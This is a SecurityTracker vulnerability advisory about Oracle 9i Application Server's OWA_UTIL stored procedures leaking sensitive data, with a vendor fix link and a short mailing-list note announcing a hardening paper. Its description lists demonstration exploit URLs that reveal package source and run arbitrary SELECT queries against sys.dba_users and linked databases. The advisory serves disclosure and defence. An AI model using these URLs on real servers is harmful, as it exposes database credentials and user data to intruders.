SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   Oracle Application Server Vendors:   Oracle
Oracle Application Server OWA_UTIL Stored Procedures May Disclose Sensitive Information to Remote Users
SecurityTracker Alert ID:  1009261
SecurityTracker URL:  http://securitytracker.com/id/1009261
CVE Reference:   CAN-2002-0560   (Links to External Site)
Date:  Feb 29 2004
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.0.2.x
Description:   Some vulnerabilities were reported in the Oracle 9i Application Server in several stored procedures. A remote user may be able to obtain potentially sensitive information from the target server.

In January 2002, NGSSoftware reported that several components of the OWA_UTIL PL/SQL package may be exploited by remote users to obtain information from the target database. Affected components include signature, showsource, cellsprint, listprint, and show_query_columns.

It is reported that the 'owa_util.signature' component will return a message that can be used to verify that access to OWA_UTIL is available. A demonstration exploit URL is provided:

http://oracleserver/pls/dadname/owa_util.signature

It may be necessary to preceded the component name with a space, tab, or newline character, as follows:

http://oracleserver/pls/dadname/%20owa_util.signature
http://oracleserver/pls/dadname/%0Aowa_util.signature
http://oracleserver/pls/dadname/%08owa_util.signature

It is reported that the 'owa_util.showsource' component can be invoked to view the source code of a package specified by the 'cname' parameter. Some demonstration exploit URLs are provided:

http://oracleserver/pls/dadname/owa_util.showsource?cname=owa_util
http://oracleserver/pls/dadname/owa_util.showsoucre?cname=books

It is also reported that a remtoe user can request a URL for the 'owa_util.cellsprint' component to run arbitrary SELECT SQL queries. A demonstration exploit URL to view the first 100 rows of the dba_users table is provided:

http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users

A remote user can view entries in the sys.link$ table to view other connected database servers and their userids and passwords, the report said. A demonstration exploit URL is provided:

http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users@other.world

Impact:   A remote user may be able to obtain sensitive information from the target system.
Solution:   The vendor has described configuration steps to prevent this vulnerability in their security alert:

http://otn.oracle.com/deploy/security/pdf/ias_modplsql_alert.pdf

Vendor URL:  otn.oracle.com/deploy/security/pdf/ias_modplsql_alert.pdf (Links to External Site)
Cause:   Access control error
Underlying OS:   Linux (Any), UNIX (AIX), UNIX (HP/UX), UNIX (Solaris - SunOS), UNIX (Tru64), Windows (NT), Windows (2000)

Message History:   None.


 Source Message Contents

Date:  Wed, 6 Feb 2002 06:43:59 -0000
Subject:  Hackproofing Oracle Application Server paper


Howdy,
I've written a white-paper, "Hackproofing Oracle Application Server." It
covers vulnerable areas and what must done to secure the box. Anyone
interested may get a copy from http://www.nextgenss.com/papers/hpoas.pdf .
Cheers,
David Litchfield
http://www.nextgenss.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC